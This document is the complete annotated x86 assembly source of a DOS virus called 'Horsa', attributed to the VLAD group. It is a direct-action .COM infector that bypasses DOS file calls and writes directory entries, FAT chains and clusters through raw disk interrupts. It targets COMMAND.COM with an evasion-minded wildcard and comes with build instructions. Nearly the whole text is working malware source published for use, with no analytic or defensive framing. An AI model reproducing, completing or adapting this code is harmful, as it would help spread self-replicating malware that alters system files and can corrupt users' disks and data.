; Horsa Virus ; by ; Qark [VLAD] ; ; This virus is a direct action parasitic com infector. The interesting ; thing about this virus as compared to others is that it uses its own file ; system to infect the files. It uses direct disk access with int25/26 ; to use the directory entries, file allocation table and clusters to do ; its work. It works on both 12bit and 16bit FAT's. ; ; If you are interested in how TBSCAN does its 'OWN' filesystem, then this ; is the source code for you. Infact, this is slightly more complicated ; because writing is _much_ harder than reading. ; ; Unlike TBSCAN, infection by Horsa is very slow. This is especially ; noticable on floppy disks where it takes forever to infect any semi-large ; file. This is because Horsa uses no buffering whatsoever, and thus ends ; up reading some sectors, such as some of the fat, repeatedly. ; ; There is one known error that is present only on floppy disks. This will ; pop up one in every 256 clusters. The reason for this is that 12bit fat ; entries take up 1.5bytes and therefore cross a sector (512bytes). To fix ; the error just change it so that the virus reads/writes two sectors instead ; of one. I didn't include it myself because the virus is slow enough as it ; is. ; ; This virus is compiled using a86. To create the .com file prepend a 16 ; byte comfile full of NOPs to the .bin produced by a86. ; org 0 cld mov di,0ffh push cs ;This is the cs we will return to inc di ;DI=100h push di ;Now CS:100h is on the stack, to retf to db 0b8h old2 dw 020cdh stosw db 0b0h old1 db 0 stosb push ds ;Save DS so we can return the PSP seg call next ;IP onto stack next: pop ax ;IP into AX sub ax,offset next ;AX=Delta offset xor dx,dx ;Zero DX for division mov cx,16 ;CX=Paragraph size (To convert delta into seg) div cx ;Divide delta by 16 to round off segment or dx,dx ;Remainder means we weren't aligned properly jz ok_offset jmp virus_exit ok_offset: mov cx,cs ;CX=CS add ax,cx ;AX=New CS mov ds,ax ;Reset DS to new segment mov es,ax ;and ES push ax ;Put New CS on stack so we can retf to it mov di,offset realign push di ;Put 'realign' on stack retf ;Here we return to 'realign'.. but CS:0 ;will point to the virus start. realign: mov ah,1ah ;Set DTA to our storage area. mov dx,offset dta int 21h mov ah,4eh ;Find first jmp short ffirst fnext: mov ah,4fh ffirst: xor cx,cx mov dx,offset wild int 21h jnc test_time jmp virus_exit test_time: mov ax,word ptr time and ax,1fh cmp ax,10h je fnext and byte ptr drive,3fh ;First six bits are drive, remove the rest mov dl,byte ptr drive mov ah,32h ;Get DPB into buffer int 21h ;DS:BX=DPB Address, The DPB is full of disk information. mov si,bx mov di,offset DPB mov cx,21h rep movsb ;Move the DPB to our buffer push cs pop ds ;All the data we need to begin is now setup. cmp word ptr cluster,0 jne subdirectory ;The root directory is a special circumstance. mov ax,word ptr count mov cx,20h mul cx mov cx,512 div cx mov word ptr tempoff,dx mov word ptr csect,ax mov word ptr csect+2,0 mov ax,word ptr rootdir add word ptr csect,ax jmp read_direntry subdirectory: ;Now initialise the temporary variables. mov ax,word ptr count mov word ptr tempcount,ax mov ax,word ptr cluster mov word ptr tempclust,ax dir_clust: ;Calculate in bytes the offset of the directory entry for the file ;we are infecting. mov ax,word ptr tempcount ;AX=Direntry count from current clust mov cl,20h ;The size of a directory entry is 20h xor ch,ch mul cx ;Calculate the number of bytes per cluster. mov bl,byte ptr sect_cl inc bl xor bh,bh ;BX=Number of sectors per cluster. mov cl,9 ;Shift left by 9 = Mul by 512 ;There are 512 bytes in a sector. shl bx,cl ;Now BX=Bytes per cluster. ;DX:AX=Offset of the file directory entry from the beginning of the ;directory listing. Divide that by bytes per cluster to determine if ;the directory entry we need is in the current cluster. div bx ;If AX is not zero, then directory entry is in another cluster. or ax,ax jz get_clust ;The directory entry is in another cluster, so we'll calculate ;the number of directory entries per cluster and subtract that from ;the temporary count. Then we will seek to the next cluster and try ;again. mov cx,512 ;512 bytes in a sector. mov al,byte ptr sect_cl xor ah,ah inc ax ;AX=Sectors per cluster. mul cx ;DX:AX=bytes per cluster mov cx,20h ;20h bytes for a directory entry. div cx ;AX=dir entries per cluster sub word ptr tempcount,ax ;Update the directory count. call clust_2_clust ;Goto the next cluster. jmp dir_clust get_clust: ;DX=Offset within cluster of the directory entry. ;We will use this to calculate the sector within the cluster the dir ;entry is located. This is done by dividing the byte offset by ;bytes per sector. mov ax,dx ;AX=Offset of directory entry xor dx,dx mov cx,512 div cx ;Divide so we get sector/offset ;The remainder is the offset within the sector, the answer is the ;sector number within the cluster. mov word ptr tempsect,ax ;AX=sector within cluster mov word ptr tempoff,dx ;DX=offset within that sector ;Now update our variables so that we can read in the sector mov ax,word ptr tempclust call clust_2_sect mov ax,word ptr csect mov dx,word ptr csect+2 ;DX:AX=Sector of cluster start, we'll add the extras. add ax,word ptr tempsect adc dx,0 ;Update it. mov word ptr csect,ax mov word ptr csect+2,dx read_direntry: ;Read in the sector of the directory entry. call diskread ;Point SI to the directory data mov si,offset buffer add si,word ptr tempoff ;Set time marker in directory sector to write it back. mov al,byte ptr [si+16h] and al,0e0h or al,10h mov byte ptr [si+16h],al ;Save original file size push word ptr [si+1ch] pop word ptr tempsize ;Round up original file size to 16, and add virus size ;then put new file size in directory data. mov ax,word ptr [si+1ch] add ax,15 and ax,0fff0h add ax,offset end_virus mov word ptr [si+1ch],ax ;Move the directory entry information into 'dir_entry' mov di,offset dir_entry mov cx,20h rep movsb ;The information has now been stored. ;Write the fixed up directory entry back to the disk. call diskwrite ;Get first cluster of the file and read it into buffer mov ax,word ptr fcluster ;AX=First cluster of file call clust_2_sect call diskread ;Store first 3 file bytes in old2/1 mov si,offset buffer mov di,offset old2 movsw mov di,offset old1 movsb ;Now put the jump in the buffer sub si,3 mov byte ptr [si],0e9h ;JMP opcode ;Round original file size to 16 mov ax,word ptr tempsize add ax,15 and ax,0fff0h mov word ptr tempsize,ax ;Fixup as a jump and put in the buffer sub ax,3 mov word ptr [si+1],ax ;Write the virus modified first file sector back to disk call diskwrite ;The rest of the code is dedicated to seeking to the ;end and writing the virus body. mov ax,word ptr fcluster mov word ptr tempclust,ax ;Calculate the number of bytes per cluster. mov bl,byte ptr sect_cl inc bl xor bh,bh ;BX=Number of sectors per cluster. mov cl,9 ;Shift left by 9 = Mul by 512 ;There are 512 bytes in a sector. shl bx,cl ;Now BX=Bytes per cluster. mov ax,word ptr tempsize find_last_clust: cmp ax,bx ;CMP filesize,clusterbytes jb sector_by_sector sub ax,bx ;SUB filesize,clusterbytes mov word ptr tempsize,ax call clust_2_clust jmp find_last_clust sector_by_sector: mov word ptr tempsize,ax mov ax,word ptr tempclust call clust_2_sect xor dx,dx mov cx,512 mov ax,word ptr tempsize div cx mov word ptr tempsect,ax add word ptr csect,ax adc word ptr csect+2,0 mov word ptr tempsize,dx call diskread mov di,offset buffer add di,word ptr tempsize xor si,si mov cx,512 sub cx,word ptr tempsize rep movsb call diskwrite ;;;; all seems alright up until this point.. inc word ptr tempsect add word ptr csect,1 adc word ptr csect+2,0 mov ax,512 sub ax,word ptr tempsize mov word ptr tempsize,ax next_file_sector: xor bx,bx mov bl,byte ptr sect_cl inc bx cmp bx,word ptr tempsect jbe next_file_cluster inc word ptr tempsect mov si,word ptr tempsize mov di,offset buffer mov cx,512 rep movsb call diskwrite add word ptr csect,1 adc word ptr csect+2,0 add word ptr tempsize,512 cmp word ptr tempsize,offset end_virus jb next_file_sector jmp virus_exit next_file_cluster: mov word ptr tempsect,0 ;reset sector count to zero ;this code updates the fat to add another cluster mov ax,word ptr fatsect dec ax find_free_cluster: inc ax mov word ptr csect,ax mov word ptr csect+2,0 call diskread mov si,offset buffer cmp word ptr clusts,0ff7h jbe find12free jmp find16free ;this is a lame jump to stop the >128 byte jump error popping up freejump: jmp no_free ;%%%%%%%%%%%%% writing to a 12bit fat routines %%%%%%%% find12free: ;Search for a free 12 bit cluster mov ax,word ptr csect sub ax,word ptr fatsect mov cx,512 mul cx mov cx,2 mul cx mov cx,3 div cx add si,dx free12_loop: cmp si,offset buffer+511 jae freejump lodsw test ax,0fffh jz free12_1 dec si cmp si,offset buffer+511 jae freejump lodsw test ax,0fff0h jz free12_2 jmp free12_loop free12_1: or ax,0fffh ;mark as the end of chain sub si,2 mov word ptr [si],ax call diskwrite mov ax,word ptr csect sub ax,word ptr fatsect mov cx,512 mul cx sub si,offset buffer add ax,si mov cx,2 mul cx mov cx,3 div cx mov word ptr tempclust2,ax jmp find_orig_Fat12 free12_2: or ax,0fff0h ;mark as the end of chain sub si,2 mov word ptr [si],ax call diskwrite mov ax,word ptr csect sub ax,word ptr fatsect mov cx,512 mul cx sub si,offset buffer add ax,si mov cx,2 mul cx mov cx,3 div cx or ax,1 mov word ptr tempclust2,ax find_orig_Fat12: ;seek to previous fat entry and write new cluster in its place. mov ax,word ptr fatsect ;Sector number of the fat mov word ptr csect,ax mov word ptr csect+2,0 mov ax,word ptr tempclust mov cx,3 mul cx ;Mul by 3 mov cx,2 div cx ;Divide by 2 xor dx,dx mov cx,512 ;Divide by 512 to work out ;which sector the next ;cluster is in. div cx ;DX=Offset into sector of fat entry. AX=Sector. mov si,dx ;SI=offset into sector add word ptr csect,ax adc word ptr csect+2,0 ;Read in the fat sector we need. call diskread ;Get the cluster number from the fat add si,offset buffer mov ax,word ptr [si] ;AX=cluster number test word ptr tempclust,1 jz evenfat mov bx,word ptr tempclust2 mov cl,4 shl bx,cl and ax,0fh or ax,bx jmp newcluster12 evenfat: mov bx,word ptr tempclust2 and ax,0f000h or ax,bx newcluster12: mov word ptr [si],ax call diskwrite ;seek to new 'free' entry call clust_2_clust mov ax,word ptr tempclust call clust_2_sect jmp next_file_sector ;%%%%%%%%%%%%% writing to a 16bit fat routines %%%%%%%% find16free: ;search for a free 16 bit cluster lodsw or ax,ax jz foundfree16 cmp si,offset buffer+512 jb find16free jmp no_free foundfree16: ;found a free cluster sub si,2 mov word ptr [si],0ffffh ;mark it as last in the chain call diskwrite ;write it ;now convert it into an actual cluster number sub si,offset buffer mov ax,word ptr csect sub ax,word ptr fatsect mov cx,512 mul cx ;convert sector into byte offset add ax,si ;dx:ax = offset of entry from start adc dx,0 mov cx,2 ;divide by 2 because 16bit div cx mov word ptr tempclust2,ax ;AX=New added cluster ;Seek to the previous last fat entry and write in the new entry ;we just found. mov ax,word ptr fatsect ;Sector number of the fat mov word ptr csect,ax mov word ptr csect+2,0 mov ax,word ptr tempclust ;Current cluster mov cx,2 ;16bit fat, so mul by 2 mul cx mov cx,512 ;Divide by 512 to work out ;which sector the next ;cluster is in. div cx mov si,dx ;SI=offset into sector add word ptr csect,ax adc word ptr csect+2,0 call diskread add si,offset buffer mov ax,word ptr tempclust2 mov word ptr [si],ax mov word ptr tempclust,ax call diskwrite ;seek to new 'free' entry ;call clust_2_clust mov ax,word ptr tempclust call clust_2_sect jmp next_file_sector no_free: mov ax,word ptr csect jmp find_free_cluster virus_exit: ;Do an int 21h 0dh to flush dos's buffers, that way when it next does ;a directory listing it still won't show the file as uninfected. mov ah,0dh int 21h pop ds push ds pop es mov dx,80h ;reset the DTA mov ah,1ah int 21h retf wild db '*mand.com',0 ;Anti-heuristic version of *.com ;------------------------------------------------- ;----------------- Procedures -------------------- ;------------------------------------------------- Clust_2_Clust Proc Near ;Gets the cluster from tempclust and reads the fat to update tempclust ;to the next cluster in the chain. ;Destroys tempoff. push ax push bx push cx push dx push si mov ax,word ptr fatsect ;Sector number of the fat mov word ptr csect,ax mov word ptr csect+2,0 cmp word ptr clusts,0ff7h ;More than 0ff6h clusters ja fat16bit ;means 16bit fat, otherwise ;it's a 12bit fat. ;12bit fat entries are 1.5 bytes long so they must be multiplied ;by 3 and divided by two. ie multiplied by 1.5 mov ax,word ptr tempclust mov cx,3 mul cx ;Mul by 3 mov cx,2 div cx ;Divide by 2 xor dx,dx jmp calc_fat_offset fat16bit: ;Calculate the byte offset of the FAT entry of the current cluster. mov ax,word ptr tempclust ;Current cluster mov cx,2 ;16bit fat, so mul by 2 mul cx calc_fat_offset: ;Convert offset into sectors. mov cx,512 ;Divide by 512 to work out ;which sector the next ;cluster is in. div cx ;DX=Offset into sector of fat entry. AX=Sector. mov word ptr tempoff,dx ;DX=offset into sector add word ptr csect,ax adc word ptr csect+2,0 ;Read in the fat sector we need. call diskread ;Get the cluster number from the fat mov si,offset buffer add si,word ptr tempoff mov ax,word ptr [si] ;AX=cluster number cmp word ptr clusts,0ff7h ;Check for 12/16bit fat ja setclust ;With a 12bit fat, the 1.5byte entries mean that you get 0.5 bytes ;too much information that needs removing. This varies between ;odd/even cluster numbers. test word ptr tempclust,1 jz evencluster mov cl,4 shr ax,cl jmp setclust evencluster: and ax,0fffh setclust: mov word ptr tempclust,ax ;Save it pop si pop dx pop cx pop bx pop ax ret Clust_2_Clust Endp Clust_2_Sect Proc Near ;Gets the cluster in AX and returns the sector in 'csect'. push ax push bx push cx push dx ;Gets the total number of sectors for that cluster. mov cl,byte ptr sect_cl inc cl xor ch,ch ;CX=sectors per cluster xor dx,dx dec ax ;Because it starts at clust 2 dec ax mul cx ;DX:AX=Number of sectors from that start of the data area. ;Now we'll add the number of sectors up to the start of the data ;area (this is supplied for us by the DPB), this will give us the ;actual logical sector of the cluster. add ax,word ptr clust2 adc dx,0 mov word ptr csect,ax mov word ptr csect+2,dx pop dx pop cx pop bx pop ax ret Clust_2_Sect Endp DiskWrite Proc Near push ax push bx push cx push dx mov al,byte ptr drive dec al mov cx,-1 mov word ptr csblock,cs mov bx,offset cblock int 26h pop ax pop dx pop cx pop bx pop ax ret DiskWrite Endp DiskRead Proc Near push ax push bx push cx push dx mov al,byte ptr drive dec al mov cx,-1 mov word ptr csblock,cs mov bx,offset cblock int 25h pop ax pop dx pop cx pop bx pop ax ret cblock: csect dd 0 dw 1 dw offset buffer csblock dw 0 DiskRead Endp End_virus: ;------------------------------------------------- ;-------------------- Data ----------------------- ;------------------------------------------------- ;Temporary storage variables for use by the virus tempclust dw 0 tempclust2 dw 0 tempsect dw 0 tempoff dw 0 tempcount dw 0 tempsize dw 0 DTA: drive db 0 db 11 dup (0) ;12 db 0 ;13 count dw 0 ;15 cluster dw 0 ;17 dw 0 ;19 dw 0 ;21 db 0 ;22 time dw 0 ;24 dw 0 ;26 dd 0 ;30 fname db 13 dup (0) ;43 DPB: db 0 ;drive db 0 ;unit in drive ? dw 0 ;bytes per sector sect_cl db 0 ;sectors per cluster shiftcl db 0 ;cluster shift fatsect dw 0 ;sectors before fat db 0 ;number of fats dw 0 ;number of root dir entries clust2 dw 0 ;number of cluster2 clusts dw 0 ;total clusters + 1 dw 0 ;sectors per fat rootdir dw 0 ;root dir sector dd 0 ;address of device driver header db 0 ;media id byte db 0 ;disk accessed ? dd 0 ;dpb pointer frclust dw 0 ;cluster for free space search dw 0 ;free clusters on drive Dir_Entry: filename db 8 dup (0) extension db 3 dup (0) attribute db 0 db 10 dup (0) timestamp dw 0 datestamp dw 0 fcluster dw 0 fsize dd 0 buffer db 512 dup (0)